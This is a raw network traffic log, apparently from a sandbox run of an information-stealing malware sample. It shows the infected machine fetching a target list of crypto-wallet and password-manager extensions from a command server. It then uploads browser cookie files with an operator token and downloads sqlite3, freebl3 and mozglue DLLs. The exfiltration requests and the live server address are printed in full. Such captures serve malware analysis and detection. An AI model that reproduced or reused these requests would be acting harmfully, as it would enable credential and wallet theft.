Nov 18, 2024 08:55:21.709285021 CET	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Nov 18, 2024 08:55:21.709335089 CET	212	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8
Nov 18, 2024 08:55:21.709387064 CET	1236	IN	Data Raw: 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 70 6e 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 Data Ascii: VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3w
Nov 18, 2024 08:55:21.709419966 CET	1236	IN	Data Raw: 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d Data Ascii: aWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGF
Nov 18, 2024 08:55:21.709455967 CET	1236	IN	Data Raw: 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 Data Ascii: aWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx
Nov 18, 2024 08:55:21.709491014 CET	636	IN	Data Raw: 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 Data Ascii: bWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1
Nov 18, 2024 08:55:21.709945917 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 18, 2024 08:55:21.894566059 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="message"fplugins------EBGDAAKJJDAAKFHJKJKF--
Nov 18, 2024 08:55:22.173109055 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 18, 2024 08:55:22.189096928 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF Host: 185.215.113.206 Content-Length: 6459 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 08:55:22.189167023 CET	6459	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 18, 2024 08:55:22.988981962 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:55:23.226038933 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 08:55:23.502908945 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49789	185.215.113.206	80	6396	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:55:31.779475927 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EGCFHDAKECFIDGDGDBKJ--
Nov 18, 2024 08:55:33.178062916 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:55:33.296668053 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIEGHJEGIDGCAFBFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 49 45 47 48 4a 45 47 49 44 47 43 41 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EGDGIEGHJEGIDGCAFBFCContent-Disposition: form-data; name="file"------EGDGIEGHJEGIDGCAFBFC--
Nov 18, 2024 08:55:34.079448938 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49844	185.215.113.206	80	6396	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:55:40.361350060 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHI Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 08:55:40.361546040 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 18, 2024 08:55:41.778608084 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:55:42.753585100 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="file"------FBFCAKKKFBGDGCAKFCFH--
Nov 18, 2024 08:55:43.536494970 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:55:44.141566992 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 08:55:44.425735950 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 18, 2024 08:55:44.425750971 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 18, 2024 08:55:44.425997972 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 18, 2024 08:55:44.426009893 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 18, 2024 08:55:44.426023006 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Nov 18, 2024 08:55:44.426081896 CET	636	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Nov 18, 2024 08:55:44.426100016 CET	1236	IN	Data Raw: 04 b8 ff ff ff ff e9 99 00 00 00 8b 75 10 8b 48 18 8b 1f ff 15 00 80 0a 10 ff 75 14 56 ff 75 0c 53 ff d1 83 c4 10 8b 16 8b 4f 04 b8 ff ff ff ff 3b 11 75 70 8b 49 10 8b 1f ff 15 00 80 0a 10 53 ff d1 83 c4 04 8b 07 89 45 f0 8b 47 04 8b 48 14 8b 70 Data Ascii: uHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHu
Nov 18, 2024 08:55:44.426111937 CET	1236	IN	Data Raw: 8b 5d 08 8b 45 f0 8a 88 00 01 00 00 8a b0 01 01 00 00 83 7d 14 07 0f 87 81 01 00 00 83 7d 14 00 0f 84 61 01 00 00 89 c8 04 01 89 4d ec 0f b6 c8 89 fb 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8a 13 32 14 Data Ascii: ]E}}aM}$7$7u2M$E}$7$7u]S2MQE}$7$7u]S2MQE}$7$
Nov 18, 2024 08:55:44.426124096 CET	1236	IN	Data Raw: d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b 4d ec 8a 55 Data Ascii: f!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpf
Nov 18, 2024 08:55:44.426136971 CET	1236	IN	Data Raw: 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 Data Ascii: UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRA
Nov 18, 2024 08:55:45.353516102 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
